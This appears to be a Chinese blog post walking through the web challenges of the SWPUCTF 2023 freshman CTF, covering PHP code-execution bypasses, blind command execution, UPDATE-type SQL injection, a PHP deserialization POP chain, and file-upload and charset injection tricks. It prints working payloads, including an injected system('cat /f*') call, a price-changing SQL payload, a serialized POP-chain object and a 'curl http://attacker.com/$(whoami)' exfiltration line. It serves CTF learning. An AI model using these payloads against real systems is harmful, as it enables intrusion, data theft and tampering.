三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

从SWPUCTF 2023新生赛看Web安全考点:PHP、SQL、反序列化漏洞实战避坑指南

从SWPUCTF 2023新生赛看Web安全考点:PHP、SQL、反序列化漏洞实战避坑指南

SWPUCTF 2023新生赛Web安全实战:从漏洞原理到高级绕过技巧

在CTF竞赛中,Web安全题目往往是最能体现实战能力的环节。SWPUCTF 2023新生赛的Web题目设计精巧,涵盖了从基础到进阶的各类漏洞类型。本文将深入分析这些题目背后的安全原理,并分享在实际渗透测试中可能遇到的"坑"以及绕过技巧。

1. PHP代码执行与绕过艺术

PHP代码执行漏洞是Web安全中最常见的漏洞类型之一,但现代防护措施使得直接利用变得困难。在SWPUCTF的"If_else"题目中,我们看到了一个典型的代码执行限制场景。

题目通过if-else结构限制了执行路径,同时过滤了$符号。这种情况下,传统的变量赋值方式失效,我们需要寻找更巧妙的执行方式:

// 题目关键代码示例 if ($check === '1') { // 执行路径A } else { // 执行路径B }

有效绕过方案:

  • 利用逻辑运算符提前终止判断:1==1) system('cat /f*'); /*
  • 通过注释符/*屏蔽后续代码
  • 使用字符串拼接绕过关键字过滤:sy.(st).em('ls')

注意:在实际环境中,eval函数的使用应极其谨慎。任何用户输入都不应直接传递给eval。

2. 无回显RCE的实战技巧

"RCE-PLUS"题目展示了一个无回显的命令执行场景,这在真实渗透测试中非常常见。当无法直接看到命令输出时,我们需要借助一些技巧来获取信息。

无回显RCE解决方案对比表:

方法适用场景示例优缺点
重定向输出有写权限ls > /tmp/out简单直接,但需要写权限
DNS外带出网环境curl http://attacker.com/$(whoami)需要出网,隐蔽性差
Tee命令临时查看`ls /tee a.txt`
延时盲注严格限制sleep $(grep -c root /etc/passwd)隐蔽但效率低

在本题中,使用tee命令是最佳选择:

/?cmd=cat /f*|tee a.txt

3. SQL注入进阶:Update型注入与绕过

"NSS大卖场"题目展示了一种不太常见但危害极大的注入类型——Update注入。与传统的Select注入不同,Update注入可以直接修改数据库内容。

关键绕过技巧:

  • 空格过滤:使用%09(Tab)替代空格
  • 引号处理:使用%27进行URL编码
  • 注释使用:#或-- -终止语句

典型攻击流程:

  1. 识别注入点:/buy/1'
  2. 测试过滤规则:尝试各种特殊字符
  3. 构造有效载荷:
/buy/1%27;UPDATE%09items%09SET%09price=1;%23
  1. 验证结果:检查数据库修改情况

提示:Update注入在电商、用户管理等系统中危害尤其大,可导致价格篡改、权限提升等严重后果。

4. 反序列化漏洞与POP链构造

"UnS3rialize"题目展示了PHP反序列化漏洞的完整利用过程,特别是POP(Property-Oriented Programming)链的构造技巧。

POP链构建步骤:

  1. 寻找危险终点:NSS类中的system方法
  2. 回溯调用链:C类的__call方法 → T类的__get方法 → F类的__toString
  3. 绕过安全措施:__wakeup绕过(通过修改属性数量)
  4. 序列化构造:
O:1:"F":4:{ s:4:"user";s:4:"SWPU"; s:6:"passwd";s:3:"NSS"; s:5:"notes";O:1:"T":1:{ s:3:"sth";O:1:"C":1:{ s:6:"whoami";O:3:"NSS":1:{ s:3:"cmd";s:9:"cat /flag"; } } } }

常见反序列化防御与绕过:

  • __wakeup绕过:修改对象属性数量
  • 签名验证:寻找密钥泄露或弱算法
  • 类型约束:寻找未严格类型检查的点

5. 其他Web安全要点精讲

5.1 HTTP头注入实战

"NSS_HTTP_CHEKER"题目考察了全面的HTTP协议知识。完整解决方案需要构造多个特殊头部:

GET /?this_is_get=get_%1t HTTP/1.1 Host: example.com User-Agent: NSSCTF X-Forwarded-For: 127.0.0.1 Cookie: this_is_cookie=cookie_suki_desu~ Content-Type: application/x-www-form-urlencoded Content-Length: 21 this_is_post=p03t

关键点:

  • GET参数特殊字符处理
  • 自定义头部注入
  • Cookie格式要求
  • POST body构造

5.2 文件上传漏洞的现代绕过

"ez_talk"题目看似简单的文件上传,实际上隐藏着现代防护体系的常见配置:

上传绕过技巧清单:

  • 文件头伪装:GIF89a、PNG头等
  • 后缀名混淆:.php5、.phtml、.phar
  • 内容混淆:<script language="php">
  • .htaccess利用:设置自定义处理器
  • 临时文件竞争:配合包含漏洞

5.3 字符集与SQL注入

"查查need"题目展示了字符集对SQL注入的影响。当遇到注入异常时,考虑:

admin" collate utf8_general_ci--

字符集相关注入技巧:

  • 宽字节注入:%bf%27组合
  • 字符集转换问题
  • 排序规则(collation)影响
  • 使用HEX编码绕过过滤

6. Web安全实战经验分享

在真实的渗透测试中,每个漏洞利用都可能遇到各种意外情况。从这次比赛中,我总结了几个常见"坑点":

  1. 空格过滤:不只是%20,尝试%09、%0a、%0b、%0c、%0d
  2. 特殊字符编码:单引号(%27)、双引号(%22)、等号(%3d)
  3. 无回显处理:总是准备多种外带数据的方法
  4. 环境差异:本地测试成功但远程失败时,检查PHP版本、模块、配置差异
  5. 时间盲注:当所有方法都失败时,考虑基于时间的检测

对于想系统提升Web安全能力的学习者,我建议按照以下路径深入:

  • 先掌握每种漏洞的基础原理
  • 研究主流框架的防护机制
  • 积累各种绕过技巧
  • 参与CTF比赛实践
  • 最后研究真实世界案例
← 返回列表